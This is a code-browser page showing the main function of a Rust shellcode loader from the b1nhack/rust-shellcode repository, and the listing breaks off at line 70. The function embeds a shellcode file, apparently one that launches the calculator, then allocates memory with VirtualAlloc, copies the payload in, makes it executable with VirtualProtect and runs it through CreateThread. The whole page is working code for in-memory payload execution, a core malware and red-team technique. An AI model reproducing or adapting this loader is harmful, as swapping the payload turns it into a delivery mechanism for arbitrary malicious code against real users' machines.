MCPcopy Create free account
hub / github.com/b1nhack/rust-shellcode / main

Function main

create_thread_native/src/main.rs:13–75  ·  view source on GitHub ↗
()

Source from the content-addressed store, hash-verified

11
12#[cfg(target_os = "windows")]
13fn main() {
14 let shellcode = include_bytes!("../../w64-exec-calc-shellcode-func.bin");
15 let shellcode_size = shellcode.len();
16
17 unsafe {
18 let kernel32 = Library::new("kernel32.dll").expect("[-]no kernel32.dll!");
19 let ntdll = Library::new("ntdll.dll").expect("[-]no ntdll.dll!");
20
21 let get_last_error: Symbol<unsafe extern "C" fn() -> u32> = kernel32
22 .get(b"GetLastError\0")
23 .expect("[-]no GetLastError!");
24
25 let virtual_alloc: Symbol<
26 unsafe extern "C" fn(*const c_void, usize, u32, u32) -> *mut c_void,
27 > = kernel32
28 .get(b"VirtualAlloc\0")
29 .expect("[-]no VirtualAlloc!");
30
31 let virtual_protect: Symbol<
32 unsafe extern "C" fn(*const c_void, usize, u32, *mut u32) -> i32,
33 > = kernel32
34 .get(b"VirtualProtect\0")
35 .expect("[-]no VirtualProtect!");
36
37 let rtl_copy_memory: Symbol<unsafe extern "C" fn(*mut c_void, *const c_void, usize)> =
38 ntdll.get(b"RtlCopyMemory\0").expect("[-]no RtlCopyMemory!");
39
40 let create_thread: Symbol<
41 unsafe extern "C" fn(*const c_void, usize, *const c_void, u32, *mut u32) -> isize,
42 > = kernel32
43 .get(b"CreateThread\0")
44 .expect("[-]no CreateThread!");
45
46 let wait_for_single_object: Symbol<unsafe extern "C" fn(isize, u32) -> u32> = kernel32
47 .get(b"WaitForSingleObject")
48 .expect("[-]no WaitForSingleObject!");
49
50 let addr = virtual_alloc(
51 null(),
52 shellcode_size,
53 MEM_COMMIT | MEM_RESERVE,
54 PAGE_READWRITE,
55 );
56 if addr.is_null() {
57 panic!("[-]virtual_alloc failed: {}!", get_last_error());
58 }
59
60 rtl_copy_memory(addr, shellcode.as_ptr().cast(), shellcode_size);
61
62 let mut old = PAGE_READWRITE;
63 let res = virtual_protect(addr, shellcode_size, PAGE_EXECUTE, &mut old);
64 if res == FALSE {
65 panic!("[-]virtual_protect failed: {}!", get_last_error());
66 }
67
68 let handle = create_thread(null(), 0, addr, 0, null_mut());
69 if handle == 0 {
70 panic!("[-]create_thread failed: {}!", get_last_error());

Callers

nothing calls this directly

Calls

no outgoing calls

Tested by

no test coverage detected